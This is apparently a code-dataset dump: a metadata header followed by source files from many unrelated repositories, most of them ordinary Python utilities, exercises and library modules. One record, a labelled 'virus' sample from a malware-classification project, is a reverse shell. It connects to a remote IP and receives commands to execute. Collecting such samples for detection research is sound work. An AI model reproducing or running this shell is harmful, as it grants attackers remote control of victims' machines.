blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
288
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
684 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
147 values
src_encoding
stringclasses
25 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
128
12.7k
extension
stringclasses
142 values
content
stringlengths
128
8.19k
authors
listlengths
1
1
author_id
stringlengths
1
132
e4593b5be61ef8f74a827d054c956032460d4c37
8762d3673347469e8ce5d924aa761f4e61c25a88
/puckdb/__init__.py
218f0f4c0ca086e151be4123fa719dd5caa50fde
[ "Apache-2.0" ]
permissive
aaront/puckdb
3406c831b7c665678df160f4179d84da7edee818
21d33fd80f093cd30b6d38c48ede6fc00e53cbb5
refs/heads/master
2021-01-18T21:22:51.477624
2020-02-25T16:04:02
2020-02-25T16:04:02
54,355,351
3
1
Apache-2.0
2020-02-25T16:04:48
2016-03-21T02:55:55
Python
UTF-8
Python
false
false
199
py
import asyncio try: import uvloop asyncio.set_event_loop_policy(uvloop.EventLoopPolicy()) except ImportError: pass __title__ = 'puckdb' __author__ = 'Aaron Toth' __version__ = '0.0.1'
[ "atoth89@gmail.com" ]
atoth89@gmail.com
e3b055314c9aa936e3b9ca52c84521017a36214c
781b9a4a1098f3ac339f97eb1a622924bcc5914d
/Exercices/Exos_Divers/programmes/Exercice_2016_05/Exercice_2016_05.py
4b27b310e3de0c99f6f1a111431c5240d2884138
[]
no_license
xpessoles/Informatique
24d4d05e871f0ac66b112eee6c51cfa6c78aea05
e8fb053c3da847bd0a1a565902b56d45e1e3887c
refs/heads/main
2023-08-30T21:10:56.788526
2023-08-30T20:17:38
2023-08-30T20:17:38
375,464,331
2
0
null
null
null
null
UTF-8
Python
false
false
877
py
#### Exercice 5 ##question 1: #cette fonction crée une liste de chiffre à partir d'un nombre, les elements de la liste sont les chiffres qui composent le nombre ##question 2: def chiffres (n): L=[] for k in range(len(str(n))): if n == 0: return[0] if n != 0: L.append...
[ "xpessoles.ptsi@free.fr" ]
xpessoles.ptsi@free.fr
8cdc8ec0734d47a9c1fba3c85027579835e0d57b
2bb90b620f86d0d49f19f01593e1a4cc3c2e7ba8
/pardus/tags/2009.2/game/action/armagetronad/actions.py
ccf8586914f4103ebfc017da19f9a27021a54cb0
[]
no_license
aligulle1/kuller
bda0d59ce8400aa3c7ba9c7e19589f27313492f7
7f98de19be27d7a517fe19a37c814748f7e18ba6
refs/heads/master
2021-01-20T02:22:09.451356
2013-07-23T17:57:58
2013-07-23T17:57:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,205
py
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright 2006-2009 TUBITAK/UEKAE # Licensed under the GNU General Public License, version 2. # See the file http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt from pisi.actionsapi import autotools from pisi.actionsapi import pisitools from pisi.actionsapi import shellto...
[ "yusuf.aydemir@istanbul.com" ]
yusuf.aydemir@istanbul.com
670339e3294b745ea5be1c753e47cc5e6b75d104
127a7a4222cffff80b1fc0cc30dd3d73182557a9
/venv/lib/python3.7/site-packages/diffoscope/presenters/markdown.py
729aba3c1a38424caecba731f567cf716bb5d344
[ "MIT" ]
permissive
crazyzete/AppSecAssignment2
b692c9830ac2892e553b5069dc4a8e5d2d20f75a
a5520738e6c5924b94f69980eba49a565c2561d7
refs/heads/master
2022-08-10T17:05:43.599533
2019-10-27T18:00:59
2019-10-27T18:00:59
213,222,325
0
1
MIT
2022-06-21T23:04:27
2019-10-06T18:33:30
Python
UTF-8
Python
false
false
1,659
py
# -*- coding: utf-8 -*- # # diffoscope: in-depth comparison of files, archives, and directories # # Copyright © 2017 Chris Lamb <lamby@debian.org> # # diffoscope is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation,...
[ "mrh583@nyu.edu" ]
mrh583@nyu.edu
862bbd3e15e14e28c54b86d2fd06e72ff0571af0
f546248daf7fd64aeff6517e9fea668b459f9b62
/yatwin/interfaces/http/parameters/parameter_types/ControllerParam.py
81c3d9e9b11770cde359a2dd3a122e77753853c1
[]
no_license
andre95d/python-yatwin
2310b6c6b995771cea9ad53f61ad37c7b10d52d0
7d370342f34e26e6e66718ae397eb1d81253cd8a
refs/heads/master
2023-03-16T18:06:17.141826
2020-05-12T23:04:53
2020-05-12T23:04:53
null
0
0
null
null
null
null
UTF-8
Python
false
false
490
py
from .BaseParam import BaseParam """ Library containing <ControllerParam> Imports: .BaseParam.BaseParam """ class ControllerParam(BaseParam): """ Inherits from <BaseParam> Controller Parameter object. These parameters are only retrieved via these identifiers, ... however are able to be edite...
[ "26026015+tombulled@users.noreply.github.com" ]
26026015+tombulled@users.noreply.github.com
8964cda5724a483489cccc4732aac45c2ce95b16
94f5bae62a2ed5bf5bd69995d9604c191b6333a0
/Projects/GAE/src/lib/django/django/contrib/auth/__init__.py
37947f107adf5eb79c4e24343d80f8740a207694
[ "BSD-3-Clause", "MIT", "Apache-2.0" ]
permissive
sethc23/BD_Scripts
5eef664af935fb38ad28581faaedb51075338553
989d62b77ca70d239ae3cf99149c5215f6e6119e
refs/heads/master
2020-04-12T17:36:17.600971
2017-02-22T09:46:27
2017-02-22T09:46:27
30,630,547
2
0
null
null
null
null
UTF-8
Python
false
false
2,477
py
from django.core.exceptions import ImproperlyConfigured SESSION_KEY = '_auth_user_id' BACKEND_SESSION_KEY = '_auth_user_backend' LOGIN_URL = '/accounts/login/' REDIRECT_FIELD_NAME = 'next' def load_backend(path): i = path.rfind('.') module, attr = path[:i], path[i + 1:] try: mod = __import__(modul...
[ "ub2@SERVER2.local" ]
ub2@SERVER2.local
6910dd677af87cbfea1a1f835f7942aed6df203b
f5b5a6e3f844d849a05ff56c497638e607f940e0
/capitulo 03/03.26.py
36a292a0ffd51fdd47da4eff4ed2e3d61c69c2e2
[]
no_license
alexrogeriodj/Caixa-Eletronico-em-Python
9237fa2f7f8fab5f17b7dd008af215fb0aaed29f
96b5238437c88e89aed7a7b9c34b303e1e7d61e5
refs/heads/master
2020-09-06T21:47:36.169855
2019-11-09T00:22:14
2019-11-09T00:22:14
220,563,960
0
0
null
null
null
null
UTF-8
Python
false
false
580
py
############################################################################## # Parte do livro Introdução à Programação com Python # Autor: Nilo Ney Coutinho Menezes # Editora Novatec (c) 2010-2019 # Primeira edição - Novembro/2010 - ISBN 978-85-7522-250-8 # Segunda edição - Junho/2014 - ISBN 978-85-7522-408-3 # Terce...
[ "noreply@github.com" ]
alexrogeriodj.noreply@github.com
72d5af2715c29b0270499ae958108128351fdf7b
b580fd482147e54b1ca4f58b647fab016efa3855
/host_im/mount/malware-classification-master/samples/virus/sample_bad616.py
e2bff9139bff57a07a6d9b95c4f95582fcc33837
[]
no_license
Barnsa/Dissertation
1079c8d8d2c660253543452d4c32799b6081cfc5
b7df70abb3f38dfd446795a0a40cf5426e27130e
refs/heads/master
2022-05-28T12:35:28.406674
2020-05-05T08:37:16
2020-05-05T08:37:16
138,386,344
0
0
null
null
null
null
UTF-8
Python
false
false
397
py
import bz2 import threading import subprocess import zlib import gzip import zipfile import tarfile import hmac import crypt import socket import lzma import hashlib s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("175.20.0.200",8080)) while not False: command = s.recv(1024).decode("utf-8") if not comma...
[ "barnsa@uni.coventry.ac.uk" ]
barnsa@uni.coventry.ac.uk
01053e78bb72b2a74f0f431328f3ea0d38122406
d6074c388f7decbf4f1ec2d1e01719cb942b30bd
/src/python/tests/integration/test_web/test_handler/test_controller.py
9354cd194015c922a7fc2025950dbdbf211ab3f1
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
permissive
kkfong/seedsync
5baf4eaf973086dfe45463bc59e605609ca413c1
c602da735f5aaf06fdf0aa5ffbd7d1ec56c8b827
refs/heads/master
2021-09-01T01:21:24.795745
2017-12-24T03:36:49
2017-12-24T03:36:49
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,955
py
# Copyright 2017, Inderpreet Singh, All rights reserved. from unittest.mock import MagicMock from tests.integration.test_web.test_web_app import BaseTestWebApp from controller import Controller class TestControllerHandler(BaseTestWebApp): def test_queue(self): def side_effect(cmd: Controller.Command): ...
[ "ipsingh06@gmail.com" ]
ipsingh06@gmail.com
f088b8ab9df9c1438b503a63cf5dd2e7f43c6f75
4724a3beaba91dd474382aaff05a900e13118071
/09-case-study-word-play/ex_9_2_9.py
b00568f8f8359e01a82cce18ab012c8e694f45e0
[]
no_license
akshirapov/think-python
7090b11c6618b6dbc5ca5cde8ba2e1e26ca39e28
490333f19b463973c05abc734ac3e9dc4e6d019a
refs/heads/master
2020-06-27T03:58:03.377943
2020-01-10T16:37:52
2020-01-10T16:40:38
199,838,313
0
2
null
null
null
null
UTF-8
Python
false
false
1,013
py
# -*- coding: utf-8 -*- """ This module contains a code for ex.9 related to ch.9.2 of Think Python, 2nd Edition by Allen Downey http://thinkpython2.com """ def are_reversed(first: str, second: str): """Checks if the first and second strings are the reverse of each other. :rtype: bool """ return firs...
[ "cccp2006_06@mail.ru" ]
cccp2006_06@mail.ru
8f152d311a5a318cab8a83d181a42f5b025d5be0
53ed4bc31fc8a939f4f3f941a3c3af433b27f498
/interfaces/python/module/codegen/files_to_generate/setup.py
21c82117843f860dc358f58f0dec5c59ddb665ae
[ "Apache-2.0" ]
permissive
gitter-badger/osqp
4de7e59cc00131231c0262913a74d7cbfb916020
8e6dce9a2aac2b467da741321cd5d9405e6f7892
refs/heads/master
2021-01-18T18:01:11.343013
2017-03-31T15:20:46
2017-03-31T15:20:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,585
py
from setuptools import setup, Extension from platform import system from numpy import get_include from glob import glob import os ''' Define macros ''' define_macros = [] if system() == 'Windows': define_macros += [('IS_WINDOWS', None)] else: if system() == 'Linux': define_macros += [('IS_LINUX', Non...
[ "bartolomeo.stellato@gmail.com" ]
bartolomeo.stellato@gmail.com
a75241771b2781cfdff5f86a072e2ddd19b792ce
51d348426c6e5fa79f2e77baf59bdbf8357d9f12
/week10/CodingBat/logic2/teen.py
e2353f3c5856d45541d92de475d62ee2e64fd5e8
[]
no_license
Zhansayaas/webdev
c01325b13abf92cef13138d7ffc123cf9bc4f81a
dd054d0bcafc498eccc5f4626ab45fd8b46b3a3f
refs/heads/main
2023-04-10T23:33:30.469465
2021-04-17T10:21:53
2021-04-17T10:21:53
322,049,225
0
0
null
null
null
null
UTF-8
Python
false
false
139
py
def no_teen_sum(a, b, c): def teen(n): return n if n not in [13, 14, 17, 18, 19] else 0 return teen(a) +teen(b) +teen(c)
[ "noreply@github.com" ]
Zhansayaas.noreply@github.com
13bd15132e9aed1fb35af4141b06e3fba10b136d
6b2a8dd202fdce77c971c412717e305e1caaac51
/solutions_5640146288377856_0/Python/papamitra/a.py
66ab91e44db6378581d41a76ca518749012947a4
[]
no_license
alexandraback/datacollection
0bc67a9ace00abbc843f4912562f3a064992e0e9
076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf
refs/heads/master
2021-01-24T18:27:24.417992
2017-05-23T09:23:38
2017-05-23T09:23:38
84,313,442
2
4
null
null
null
null
UTF-8
Python
false
false
323
py
import sys import math def solve(line): r,c,w = [int(i) for i in line.split(' ')] return int(math.ceil((c-w)/w)) + w def main(): t = int(sys.stdin.readline()) for i in range(t): s = solve(sys.stdin.readline()) print("Case #{0}: {1}".format(i+1, s)) if __name__ == '__main__': main...
[ "eewestman@gmail.com" ]
eewestman@gmail.com
5c5e342ddc9eaa239ffe8a1cf20a234a1331ddfb
ca15b5926731474829df18890dca8b1166e0e41d
/Server/Python/src/dbs/dao/MySQL/ReleaseVersion/Insert.py
554871c859a2887eb755678b1969e83031441b9f
[ "Apache-2.0" ]
permissive
vkuznet/DBS
e292aa843e25c90a61714accf1518c955ff70d08
14df8bbe8ee8f874fe423399b18afef911fe78c7
refs/heads/master
2022-10-03T21:50:57.519984
2020-11-24T22:02:18
2020-11-24T22:02:18
188,904,440
0
0
null
2019-05-27T20:20:14
2019-05-27T20:20:14
null
UTF-8
Python
false
false
214
py
#!/usr/bin/env python """ DAO Object for ReleaseVersions table """ from dbs.dao.Oracle.ReleaseVersion.Insert import Insert as OraReleaseVersionInsert class Insert(OraReleaseVersionInsert): pass
[ "metson@4525493e-7705-40b1-a816-d608a930855b" ]
metson@4525493e-7705-40b1-a816-d608a930855b
45c4d6fd7989884903ec2c365eaab49510c9b086
6b518cf14ea3f59fd59136dbd2a7ac70234bb96e
/instructor-github/day5/psgetrootxml.py
42ada3ec57cba4c9fdca417ebfe5acffc39cce6b
[]
no_license
simula67/advanced-python-course-material
8064a1adddff45b0980d4bd1948fdeb2f88aec89
98870da337cbc001bcf4215ce44f82f0430fd3ce
refs/heads/master
2016-09-06T12:29:37.397321
2015-06-29T05:10:19
2015-06-29T05:10:19
38,228,793
0
0
null
null
null
null
UTF-8
Python
false
false
166
py
__author__ = 'ravi' import xml.etree.ElementTree as et doc = et.parse('movies.xml') root = doc.getroot() print root.tag print root.attrib print root.get('shelf')
[ "simula67@gmail.com" ]
simula67@gmail.com
0d3b908e5a80a1fdac5596aacfd0d54c1069356a
e03e59d67c96c1afa0a1c76e62235a3e3f639976
/django_test5maria/myguest/views.py
90e66051ac3cad8952b3d9e02ec46f7ae6c0a276
[]
no_license
kangmihee/EX_python
10a63484802e6ff5454f12f7ade7e277dbf3df97
0a8dafe667f188cd89ef7f021823f6b4a9033dc0
refs/heads/master
2020-07-02T00:23:05.465127
2019-09-03T07:49:46
2019-09-03T07:49:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,011
py
from django.shortcuts import render from myguest.models import Guest from datetime import datetime from django.http.response import HttpResponseRedirect # Create your views here. def MainFunc(request): return render(request, 'main.html') def ListFunc(request): gdata = Guest.objects.all() ...
[ "acorn@acorn-PC" ]
acorn@acorn-PC
7d741b129725f500f76d0bb3e54e121a6b8f9403
712441dbc6958bdf1cc62314b2f128f0b7084f53
/shop/views.py
cc90cbe4c4878421dae76ee887e12a0f596c762d
[]
no_license
maratkanov-a/GamesOfFuture
40d0ae06c4dfe0d1ecc17e249664b01366d9705e
302e4456908459f55b06c98aa97156ad42eda4eb
refs/heads/master
2021-01-10T07:11:47.234521
2016-03-01T12:43:00
2016-03-01T12:43:00
51,259,691
0
0
null
null
null
null
UTF-8
Python
false
false
430
py
from django.core.urlresolvers import reverse_lazy from django.shortcuts import render from django.views.generic import TemplateView, DetailView # from shop.models import Product class CategoryPage(TemplateView): template_name = 'category.html' class ProductsWithCategoryPage(TemplateView): template_name = 'p...
[ "a.s.maratkanov@gmail.com" ]
a.s.maratkanov@gmail.com
f7b43011dade1618661a46527ad7949ab1c1989f
24386c698b879f43e2037aee49af5ca07c99f706
/day3/Ex13pandasSort.py
6f867f43a0fd05858bbad0d39d0c4daf736981c9
[]
no_license
aorura/machine_learning
bd9dc80ef0aa7196c876cef6da0ce2e254fe51af
ba81e61e3346283b9d317a686ec66c43eacc56b5
refs/heads/master
2020-09-28T16:51:04.888737
2019-12-13T07:38:56
2019-12-13T07:38:56
226,818,873
0
0
null
null
null
null
UTF-8
Python
false
false
822
py
import numpy as np import pandas as pd ''' obj=pd.Series(range(4),index=list('dabc')) print(obj.sort_index(),'\n') frame=pd.DataFrame(np.arange(8).reshape(2,4),index=['three','one'],columns=list('dabc')) print(frame.sort_index(),'\n') print(frame.sort_index(axis=1),'\n') print(frame.sort_index(axis=1,ascending=False),...
[ "hyponus@gmail.com" ]
hyponus@gmail.com
dd2354e8348294d16dc7f0ead60b96378d07457b
3784495ba55d26e22302a803861c4ba197fd82c7
/venv/lib/python3.6/site-packages/opt_einsum/sharing.py
458fb974a66c3b9a6d2a34eab4c72a1850d0d177
[ "MIT" ]
permissive
databill86/HyperFoods
cf7c31f5a6eb5c0d0ddb250fd045ca68eb5e0789
9267937c8c70fd84017c0f153c241d2686a356dd
refs/heads/master
2021-01-06T17:08:48.736498
2020-02-11T05:02:18
2020-02-11T05:02:18
241,407,659
3
0
MIT
2020-02-18T16:15:48
2020-02-18T16:15:47
null
UTF-8
Python
false
false
6,301
py
""" A module for sharing intermediates between contractions. Copyright (c) 2018 Uber Technologies """ import contextlib import functools import numbers import threading from collections import Counter, defaultdict from .parser import alpha_canonicalize, parse_einsum_input __all__ = [ "currently_sharing", "get_s...
[ "luis20dr@gmail.com" ]
luis20dr@gmail.com
9ac512db21836054f6eeda809d87d463d81a06d0
a884039e1a8b0ab516b80c2186e0e3bad28d5147
/Livros/Livro-Introdução à Programação-Python/Capitulo 5/Exemplos 5/Listagem5_10.py
1611bb25c700210b358fa96d09ababe0fe06f659
[ "MIT" ]
permissive
ramonvaleriano/python-
6e744e8bcd58d07f05cd31d42a5092e58091e9f0
ada70918e945e8f2d3b59555e9ccc35cf0178dbd
refs/heads/main
2023-04-10T14:04:24.497256
2021-04-22T18:49:11
2021-04-22T18:49:11
340,360,400
0
0
null
null
null
null
UTF-8
Python
false
false
408
py
# Program: Listagem5_10.py # Author: Ramon R. Valeriano # Description: # Developed: 29/03/2020 - 17:47 # Update: pontos = 0 questoes = 1 while questoes<=3: resposta = input("Resposta da questão %d." %questoes) if questoes == 1 and resposta == "b": pontos+=1 if questoes == 2 and resposta == "a": ...
[ "rrvaleriano@gmail.com" ]
rrvaleriano@gmail.com
162123bf00b0f507d64cb911a05fb43d5cfa08f4
3d9b939c50c8b68bc7110f35a9a5100c7ca163e3
/SetGraphic.py
b7c3a55de18755223a9fc651c365ba91e3e8d8ac
[ "MIT" ]
permissive
mbuckaway/CrossMgr
bbab53e9e858b72b99a9fb239787f8932e50539d
4c64e429eb3215fda1b685c5e684c56f5d0c02cf
refs/heads/master
2020-09-16T00:42:25.100361
2020-01-15T02:24:49
2020-01-15T02:24:49
223,599,605
1
0
MIT
2020-01-08T01:45:22
2019-11-23T14:12:15
Python
UTF-8
Python
false
false
2,366
py
import wx import os import imagebrowser import Utils #------------------------------------------------------------------------------------------------ class SetGraphicDialog( wx.Dialog ): def __init__( self, parent, id = wx.ID_ANY, graphic = None ): wx.Dialog.__init__( self, parent, id, "Set Graphic", style=w...
[ "edward.sitarski@gmail.com" ]
edward.sitarski@gmail.com
3139ad963cfc06b16ac1b3af1353f985a5703fc6
3403fa9258dd3f53ef699423ccff5d8bc9f48e1c
/apiserver/dao/bank_dao.py
a85ec6c3706c3250756c247ed4247db4af0019db
[]
no_license
Jack-liyuanjie/flask-2021
2295b383b6ee3e9c491eefffc9b0dd7a2dae2b52
d786f48ead843faf00018ae30885a4c41869ea4b
refs/heads/master
2023-06-14T06:04:52.647455
2021-07-13T00:50:19
2021-07-13T00:50:19
385,427,218
0
0
null
null
null
null
UTF-8
Python
false
false
187
py
from dao import BaseDao class BankDao(BaseDao): def find_all(self): return super().find_all('bank') if __name__ == '__main__': dao = BankDao() print(dao.find_all())
[ "2311485953@qq.com" ]
2311485953@qq.com
4e0ac3a3ea0512bada790a29f41026c15704458c
971e0efcc68b8f7cfb1040c38008426f7bcf9d2e
/tests/artificial/transf_BoxCox/trend_ConstantTrend/cycle_7/ar_/test_artificial_128_BoxCox_ConstantTrend_7__100.py
1756ed6b826c253119d4cdd1fb54a541271e1805
[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
antoinecarme/pyaf
a105d172c2e7544f8d580d75f28b751351dd83b6
b12db77cb3fa9292e774b2b33db8ce732647c35e
refs/heads/master
2023-09-01T09:30:59.967219
2023-07-28T20:15:53
2023-07-28T20:15:53
70,790,978
457
77
BSD-3-Clause
2023-03-08T21:45:40
2016-10-13T09:30:30
Python
UTF-8
Python
false
false
266
py
import pyaf.Bench.TS_datasets as tsds import tests.artificial.process_artificial_dataset as art art.process_dataset(N = 128 , FREQ = 'D', seed = 0, trendtype = "ConstantTrend", cycle_length = 7, transform = "BoxCox", sigma = 0.0, exog_count = 100, ar_order = 0);
[ "antoine.carme@laposte.net" ]
antoine.carme@laposte.net
d5b8601b52a1d3840b1a4d8e999278830a932a3d
1431b07074b96c7baa6a43a99717da2a658424af
/test/utils/Test_API_Stack_Dialog.py
c6d4f2b234384d48fd1370b088022a020a3712ed
[ "Apache-2.0" ]
permissive
almeidam/pbx-gs-python-utils
054a7334070627bc27f682ed78c2986230d1cfab
3f8987dd2d1fc27d1d262385280d7303009f5453
refs/heads/master
2020-04-30T10:44:46.179729
2019-03-20T13:59:01
2019-03-20T13:59:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,312
py
from unittest import TestCase from utils.slack.API_Slack_Attachment import API_Slack_Attachment from utils.slack.API_Slack_Dialog import API_Slack_Dialog from utils.Lambdas_Helpers import slack_message from utils.aws.Lambdas import Lambdas class Test_API_Slack_Dialog(TestCase): def setUp(...
[ "dinis.cruz@owasp.org" ]
dinis.cruz@owasp.org
1a9b848d66661de68037c536553e1b75a5e664f1
35e6598c8f07e686ef4ce431800ece28d2797568
/src/python_inferno/vpd.py
e60f7c307433e35bd81c4b89dd81e0877eaa12af
[]
no_license
akuhnregnier/python-inferno
c7badbed505da602c98180e70aff05061dd1a199
424168231f553d0f872f1a2ec29c26bf3d114f08
refs/heads/main
2023-04-16T03:15:27.427407
2023-01-28T19:15:05
2023-01-28T19:15:05
368,221,337
0
0
null
null
null
null
UTF-8
Python
false
false
3,487
py
# -*- coding: utf-8 -*- import numpy as np from numba import njit, prange, set_num_threads from wildfires.qstat import get_ncpus from .cache import mark_dependency from .configuration import N_pft_groups, land_pts, npft, pft_groups_lengths from .qsat_wat import qsat_wat from .utils import get_pft_group_index # Indexi...
[ "ahf.kuhnregnier@gmail.com" ]
ahf.kuhnregnier@gmail.com
2c3c1f73eefaddcebd07c78c555609d032adf478
33b7a63d0866f9aabfdfdc342236191bebd1c1e6
/django_learning/chapter05/method_decorator_demo/method_decorator_demo/settings.py
e05fa2cdc8e3f61b924c252a4e62497da072af7e
[]
no_license
leolvcl/leo_python
21f61bb898f8c755d1ff405f90864887e18a317e
5be0d897eeee34d50d835707112fb610de69b4c8
refs/heads/master
2020-08-02T21:00:01.808704
2019-12-06T17:04:59
2019-12-06T17:04:59
211,505,290
0
0
null
null
null
null
UTF-8
Python
false
false
3,410
py
""" Django settings for method_decorator_demo project. Generated by 'django-admin startproject' using Django 2.0.2. For more information on this file, see https://docs.djangoproject.com/en/2.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.0/ref/sett...
[ "lvclleo@gmail.com" ]
lvclleo@gmail.com
60e011f7fe1a484a1cf3b7ed0eb74842808896e7
bea841ddfb21d90abc8d7149b01910f992a39d47
/fileReadTest/reader.py
07509fa0cf72599d8c623aa06477c47125467c69
[]
no_license
KaulitzGuimaraes/Estrutura-de-Arquivos-Proj-Archiver
2d47ef8315f55c63414f62ca5adb3effb5a66488
32c7a41620fb32a56dc3e693f8c1aa430062c774
refs/heads/master
2021-08-22T14:50:10.916312
2017-11-30T12:55:34
2017-11-30T12:55:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,124
py
def initialize(): fileText = open('orig.txt', 'w') txtStr = 'Uma string de texto normal' txtStr2 = '\nOutra string' print('\nESCREVENDO EM MODO TEXTO') print(txtStr) print(txtStr2) fileText.write(txtStr) fileText.write(txtStr2) fileText.close() fileBin = open('orig.bin', 'wb')...
[ "a166348@g.unicamp.com" ]
a166348@g.unicamp.com
6f433153d5b9d5725afe6deed4d135feb254b3a6
befafdde28c285c049b924fa58ce6240a4ae8d3c
/python_solution/Stack/224_BasicCalculator.py
6795643f801f8f099691c795505a42a306e87b20
[]
no_license
Dimen61/leetcode
3364369bda2255b993581c71e2b0b84928e817cc
052bd7915257679877dbe55b60ed1abb7528eaa2
refs/heads/master
2020-12-24T11:11:10.663415
2017-08-15T14:54:41
2017-08-15T14:54:41
73,179,221
4
0
null
null
null
null
UTF-8
Python
false
false
791
py
class Solution(object): def calculate(self, s): """ :type s: str :rtype: int """ total = 0 num = 0 sign = 1 sign_stack = [1] for c in s: if c == ' ': pass elif c in '+-': total += sign * ...
[ "dimen61@gmail.com" ]
dimen61@gmail.com
b5e48386e73920bc685eb86a15667c316892aebc
80f53e7ea872dc18e45bd810ebb2073dac773f71
/business_modle/querytool/yqfqy/quanyi.py
f45941ba1177d33154bb8f7cb3f1e000a5f912cb
[]
no_license
dengjinyi4/Test_Plantfrom
30ca560b157b6f7026e6f05bc3ace10c63894d11
eb49d08ceb5cba44ce48178ed79c2e79a596de69
refs/heads/master
2021-06-13T07:34:55.840837
2021-03-09T06:41:54
2021-03-09T06:41:54
144,958,663
2
1
null
null
null
null
UTF-8
Python
false
false
7,408
py
# -*- coding: utf-8 -*- __author__ = 'jinyi' from business_modle.querytool import db import requests as r import datetime from dateutil.relativedelta import relativedelta from openpyxl import Workbook,load_workbook import os class quanyi(object): def __init__(self,env=''): self.env=env # 导...
[ "13811501646@163.com" ]
13811501646@163.com
15a3be1d4f36325716fa178bc2087471a2ab800b
2638a861e7ac0b37361348babc18212176cb75cb
/utils/parametric.py
19a96de1b8c0bb2cceece226834563081d6202bd
[ "Apache-2.0" ]
permissive
jcarpent/osqp_benchmarks
64de68f111d464810983d2f4ea31962b8646b041
787f46e73ce22bcdc9055a4fea56fc812a7d6e5f
refs/heads/master
2020-04-18T11:50:55.026557
2019-01-31T13:09:21
2019-01-31T13:09:21
167,514,778
0
0
Apache-2.0
2019-01-25T08:43:05
2019-01-25T08:43:04
null
UTF-8
Python
false
false
1,871
py
import os import pandas as pd def print_results_parametric(problem, dimension): """ Print parametric problem results """ print('[%s]' % problem) ws_file = os.path.join('.', 'results', 'parametric_problems', 'OSQP warmstart', problem, ...
[ "bartolomeo.stellato@gmail.com" ]
bartolomeo.stellato@gmail.com
3fc97f15d0b096088b7dd7f1ae93a41f4ceeb780
d554b1aa8b70fddf81da8988b4aaa43788fede88
/5 - Notebooks e Data/1 - Análises numéricas/Arquivos David/Atualizados/logDicas-master/data/2019-1/226/users/4138/codes/1675_2471.py
574c8928df1b501e01a85539ab993a98d5afc612
[]
no_license
JosephLevinthal/Research-projects
a3bc3ca3b09faad16f5cce5949a2279cf14742ba
60d5fd6eb864a5181f4321e7a992812f3c2139f9
refs/heads/master
2022-07-31T06:43:02.686109
2020-05-23T00:24:26
2020-05-23T00:24:26
266,199,309
1
0
null
null
null
null
UTF-8
Python
false
false
385
py
x = int(input("insira a idade:")) y = float(input("insira seu indice de massa corporal:")) print("Entradas:", x, "anos e IMC",y) if(x <= 0 or x > 130 or y <= 0): print("Dados invalidos") elif(x < 45 and y < 22): print("Risco: Baixo") elif(x < 45 and y >= 22): print("Risco: Medio") elif(x >= 45 and y < 22): print...
[ "jvlo@icomp.ufam.edu.br" ]
jvlo@icomp.ufam.edu.br
3ed6ab485359feeca0517cf3ab1a234bcf82a200
906ea12bcdbe3ea1bf39f489ae4263b3c3cf30b8
/10_october/11_noDups.py
c1207e9071d756ce94d610b97a64447f15ff7920
[]
no_license
dfeusse/codeWarsPython
da14802ef7986390331c5279cf3cb46eeb3fe853
c29de0f48ab89de88106c0504f734df328982bae
refs/heads/master
2016-08-11T11:41:34.501979
2015-10-25T02:30:48
2015-10-25T02:30:48
36,802,152
0
0
null
null
null
null
UTF-8
Python
false
false
1,167
py
''' Return the array/list passed into the function with all duplicates removed. The items in the returned array should be sorted alphabetically, with numbers before strings. The function should remove any null, undefined and invalid values from the array (in JS: all falsey values (NaN, false, undefined, null etc.) h...
[ "dfeusse@gmail.com" ]
dfeusse@gmail.com
e2f8bc0ec3b2c30918dab8c6cb685b9a903354d3
185452958184317ea68aba61f58dc2e136a8ae39
/shopping_cart.py
395a45e3d49b53b36979d4f6da8adc896aedb370
[]
no_license
madhavinamballa/de_anza_pythonbootcamp
ce8337d23d83198d99015e3fe0ad76e1efe84205
362d9d2cf413b4b09c6c92fbe2125486789b4f4e
refs/heads/master
2022-11-25T22:09:28.156887
2020-07-10T15:29:43
2020-07-10T15:29:43
277,613,497
0
0
null
null
null
null
UTF-8
Python
false
false
916
py
# https://www.codegrepper.com/code-examples/python/%27python3%27+is+not+recognized+as+an+internal+or+external+command%2C grocery_item = {} grocery_history = [] stop = False while not stop: item_name = input("Item name:\n") quantity = input("Quantity purchased:\n") cost = input("Price per item:\n"...
[ "you@example.com" ]
you@example.com
ed67b5e3ce51588582dfebaff12458a41aad2690
fb2d3b0feb32ade14fe1bdae89e64c44641ad57d
/models/work_openapc.py
cd7e3c555bd3a03a4d0816030f7eeb10090ea467
[ "MIT" ]
permissive
ourresearch/openalex-guts
732f3dc22c4d27304fc0d2c62d4284abbe3f5532
8401eb17ef60ab2c4d2fb6d647569d28ffbc8775
refs/heads/main
2023-09-01T20:03:57.070913
2023-08-30T02:45:17
2023-08-30T02:45:17
414,304,009
87
9
MIT
2023-07-31T14:33:55
2021-10-06T17:14:39
Python
UTF-8
Python
false
false
360
py
